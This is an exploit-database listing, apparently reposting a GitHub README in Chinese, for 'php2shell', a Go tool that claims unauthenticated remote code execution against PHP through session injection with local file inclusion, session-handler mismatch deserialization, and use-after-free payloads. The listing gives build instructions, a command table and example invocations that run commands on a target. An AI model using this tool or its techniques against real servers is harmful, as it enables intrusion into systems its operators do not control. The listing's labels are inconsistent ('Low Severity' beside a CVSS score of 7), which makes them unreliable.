Low Severity CVE-2026-109619
Published: Oct 25, 2026

[GitHub] php2shell

Other
Type
N/A
CVSS Score
7
Views
Anonymous
Author

Description

CVE-2026-109618 / CVE-2026-109619 PHP PoC and exploit tool (single-file Go)

# php2shell

CVE-2026-109618 / CVE-2026-109619 的 PHP 未授权 RCE PoC 与 EXP 工具。

整个项目只有一个 Go 源文件:`php2shell.go`。

- 只使用 Go 标准库
- 编译后只有一个二进制,无运行时依赖
- 不需要 Python、Docker、本地 Web 服务器或任何外部文件
- 不包含靶场、检测规则或其他脚本

> 工具本身不启动任何服务。`--target` 指向的 PHP 服务就是测试目标。

## 构建

需要 Go 1.22 或更高版本。

预编译的 Linux / Windows / macOS 二进制见 [Releases](https://github.com/open0x01/php2shell/releases)。

项目没有 `go.mod`,构建时必须指定源文件名:

```bash
go build -o php2shell php2shell.go
```

Windows:

```powershell
go build -o php2shell.exe php2shell.go
```

也可以直接运行:

```bash
go run php2shell.go help
```

交叉编译示例:

```bash
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build -o php2shell-linux-amd64 php2shell.go
```

## 命令

| 命令 | 作用 |
|------|------|
| `exp lfi` | 会话注入 + LFI → RCE |
| `exp destruct` | handler 不匹配 → `__destruct` → RCE |
| `poc session` | 验证会话文件注入 |
| `poc mismatch` | 验证 session handler 不匹配 |
| `poc oom` | 验证 OOM bailout |
| `poc fpm` | 验证 FPM 跨请求残留 `BG()` 状态 |
| `payload uaf` | 输出 UAF → `var_dump` handler 覆盖 payload |
| `payload asan` | 输出 var_destroy UAF 的 ASan 验证 payload |
| `payload list` | 列出内置 payload |
| `version` | 输出版本 |
| `help` | 输出帮助 |

所有网络命令都支持:

```text
--target http://HOST:PORT
```

或:

```text
--host HOST --port PORT [--tls] [--insecure]
```

使用 `php2shell <command> -h` 查看某个命令的全部参数。

## 示例

### 会话注入 + LFI

```bash
php2shell exp lfi \
--target http://TARGET:8080 \
--command 'id'
```

目标启用了 `session.upload_progress.cleanup=On` 时:

```bash
php2shell exp lfi \
--target http://TARGET:8080 \
--cleanup-on \
--command 'id'
```

常用参数:

```text
--inject-path 任意可接收 POST 的 PHP 端点,默认 /index.php
--lfi-path 存在 LFI 的路径,默认 /vuln.php
--session-path 目标上的 PHP session 保存路径,默认 /tmp/sessions
```

### Handler 不匹配

```bash
php2shell exp destruct \
--target http://TARGET:8080 \
--command 'id > /tmp/rce_proof.txt 2>&1'
```

默认路径和 gadget 需要按目标环境调整:

```text
--pollute-path 设置 session.serialize_handler=php_serialize 的端点
--upload-path 用于注入 session 的 PHP 端点
--trigger-path 使用 php handler 并调用 session_

Community Rating
0

Login to rate this exploit

Quick Actions